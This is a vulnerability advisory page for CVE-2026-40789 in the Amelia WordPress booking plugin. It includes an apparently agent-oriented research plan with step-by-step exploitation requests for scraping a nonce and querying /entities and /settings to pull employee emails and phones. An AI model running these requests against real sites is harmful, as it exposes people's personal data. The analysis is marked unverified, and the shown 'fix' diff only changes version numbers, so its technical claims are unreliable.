CVE-2026-40789

Booking for Appointments and Events Calendar – Amelia <= 2.2 - Unauthenticated Information Exposure

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.2.1
Patched in
8d
Time to patch

Description

The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.2. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.2
PublishedApril 23, 2026
Last updatedApril 30, 2026
Affected pluginameliabooking

What Changed in the Fix

Changes introduced in v2.2.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This analysis grounded in the provided source code for **Booking for Appointments and Events Calendar – Amelia <= 2.2** (CVE-2026-40789). ### 1. Vulnerability Summary The Amelia plugin implements a custom API routing system built on the Slim framework, dispatched via a standard WordPress AJAX handl…

Show full research plan

This analysis grounded in the provided source code for Booking for Appointments and Events Calendar – Amelia <= 2.2 (CVE-2026-40789).

1. Vulnerability Summary

The Amelia plugin implements a custom API routing system built on the Slim framework, dispatched via a standard WordPress AJAX handler wpamelia_api. The vulnerability exists because several sensitive API endpoints (specifically those retrieving "Entities" or "Users") lack sufficient authorization checks. This allows unauthenticated users to trigger calls that expose sensitive PII (Personally Identifiable Information) such as employee emails, phone numbers, and potentially customer data or plugin configurations.

The core issue resides in the AmeliaBooking\Infrastructure\Routes\Routes registration and the associated Controller logic, which fails to distinguish between public data needed for a booking form and private data reserved for administrators.

2. Attack Vector Analysis

  • Endpoint: admin-ajax.php
  • Action: wpamelia_api
  • Parameter: call (the Slim route to execute)
  • Authentication: Unauthenticated (wp_ajax_nopriv_wpamelia_api)
  • Vulnerable Call Paths:
    • /entities (Exposes Employees, Services, and Locations including PII)
    • /users/employees (Exposes Employee list)
    • /settings (Potentially exposes configuration details)

3. Code Flow

  1. An HTTP request is sent to /wp-admin/admin-ajax.php?action=wpamelia_api&call=/entities.
  2. ameliabooking.php catches the request via the wp_ajax_nopriv_wpamelia_api hook (registered in the truncated section of init()).
  3. The request enters AmeliaBooking\Plugin::wpAmeliaApiCall().
  4. A Slim App is initialized using a container config.
  5. AmeliaBooking\Infrastructure\Routes\Routes::routes($app, $container) is called to map the routes.
  6. The route /entities maps to AmeliaBooking\Application\Controller\Entity\EntityController:getEntities.
  7. The controller executes without checking for current_user_can() or verifying the requester's identity, returning a JSON object containing full employee records.

4. Nonce Acquisition Strategy

Amelia uses a centralized configuration object passed to the frontend via wp_localize_script. To interact with the API, a valid nonce is often required even for "public" calls.

  • Shortcode: [ameliabooking]
  • Mechanism:
    1. The agent will create a public page containing the Amelia booking shortcode.
    2. When the page is rendered, Amelia enqueues its scripts and localizes the ameliaBookingConfig variable.
  • JavaScript Variable: window.ameliaBookingConfig.nonce
  • Action String: Usually tied to the API call, but often the localized config provides a generic nonce for all wpamelia_api actions.

Extraction Steps:

  1. wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content="[ameliabooking]"
  2. Navigate to the new page.
  3. browser_eval("window.ameliaBookingConfig ? window.ameliaBookingConfig.nonce : null")

5. Exploitation Strategy

The agent will attempt to extract sensitive employee data by querying the /entities endpoint.

Request 1: Extracting Nonce

  • Method: GET
  • URL: http://localhost:8080/booking-page/
  • Action: Use browser_eval to grab the nonce.

Request 2: Information Disclosure (Entities)

  • Method: GET
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Query Params:
    • action: wpamelia_api
    • call: /entities
    • amelia_nonce: [EXTRACTED_NONCE] (Note: If amelia_nonce in params fails, try the header Amelia-Nonce)
  • Expected Response: A large JSON object containing an employees array. Each employee object in version 2.2 contains email, phone, and firstName/lastName.

Request 3: Information Disclosure (Settings - Optional)

  • Method: GET
  • URL: http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/settings&amelia_nonce=[NONCE]

6. Test Data Setup

  1. Create an Employee: Use WP-CLI to ensure data exists to leak.
    • Note: Amelia data is stored in custom tables (e.g., wp_amelia_users).
    • wp eval "global $wpdb; $wpdb->insert($wpdb->prefix . 'amelia_users', ['firstName' => 'John', 'lastName' => 'Doe', 'email' => 'john.doe@victim.com', 'phone' => '+15551234567', 'type' => 'employee', 'status' => 'visible']);"
  2. Create a Service: (Required for the shortcode to render properly and for /entities to return results).
    • wp eval "global $wpdb; $wpdb->insert($wpdb->prefix . 'amelia_services', ['name' => 'Consultation', 'status' => 'visible', 'price' => 100, 'duration' => 3600, 'categoryId' => 1]);"
  3. Place Shortcode: Create the page as described in Section 4.

7. Expected Results

  • The response for /entities will return a status code 200 OK.
  • The JSON body will contain:
    {
      "data": {
        "employees": [
          {
            "id": 1,
            "firstName": "John",
            "lastName": "Doe",
            "email": "john.doe@victim.com",
            "phone": "+15551234567",
            ...
          }
        ]
      }
    }
    
  • The exposure of email and phone for all employees to an unauthenticated visitor confirms the vulnerability.

8. Verification Steps

  1. Check Response Content: Verify the JSON response contains the specific email address (john.doe@victim.com) and phone number created in the setup.
  2. Verify Authentication Level: Ensure the request was sent without any wordpress_logged_in cookies.

9. Alternative Approaches

  • Alternative Route: Try /users/employees or /users/customers. These routes are often protected by more stringent middleware but should be tested if /entities is patched or restricted.
  • Header-based Nonce: If the query parameter amelia_nonce is ignored, send the nonce via the custom header:
    Amelia-Nonce: [NONCE]
  • Direct API Path: Some Amelia versions allow access via wp-json/ameliabooking/v1/entities. If the AJAX handler is restricted, test for the presence of a REST API registration that mirrors these routes.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Amelia plugin for WordPress is vulnerable to information exposure because it fails to implement proper authorization checks on its internal API routes. Unauthenticated attackers can access sensitive endpoints such as /entities to retrieve personally identifiable information (PII) of employees and customers, including email addresses and phone numbers.

Vulnerable Code

// ameliabooking.php line 188
    public static function wpAmeliaApiCall()
    {
        try {
            /** @var Container $container */
            $container = require AMELIA_PATH . '/src/Infrastructure/ContainerConfig/container.php';

            $app = new App($container);

            // Initialize all API routes
            Routes::routes($app, $container);

            $app->run();

            exit();
        } catch (Exception $e) {
            echo 'ERROR: ' . esc_html($e->getMessage());
        }
    }

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.2/ameliabooking.php /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.2.1/ameliabooking.php
--- /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.2/ameliabooking.php	2026-04-06 08:22:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.2.1/ameliabooking.php	2026-04-14 07:47:58.000000000 +0000
@@ -3,7 +3,7 @@
 Plugin Name: Amelia
 Plugin URI: https://wpamelia.com/
 Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep!
-Version: 2.2
+Version: 2.2.1
 Author: Melograno Ventures
 Author URI: https://melograno.io/
 Text Domain: ameliabooking
@@ -111,7 +111,7 @@
 
 // Const for Amelia version
 if (!defined('AMELIA_VERSION')) {
-    define('AMELIA_VERSION', '2.2');
+    define('AMELIA_VERSION', '2.2.1');
 }
 
 // Const for site URL

Exploit Outline

The attacker first visits a public page where the Amelia booking shortcode [ameliabooking] is present to extract a valid security nonce from the window.ameliaBookingConfig.nonce JavaScript object. Using this nonce, the attacker sends an unauthenticated AJAX request to /wp-admin/admin-ajax.php with the action set to wpamelia_api and the call parameter set to a sensitive route like /entities. If successful, the server responds with a JSON payload containing sensitive employee data such as firstName, lastName, email, and phone numbers.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.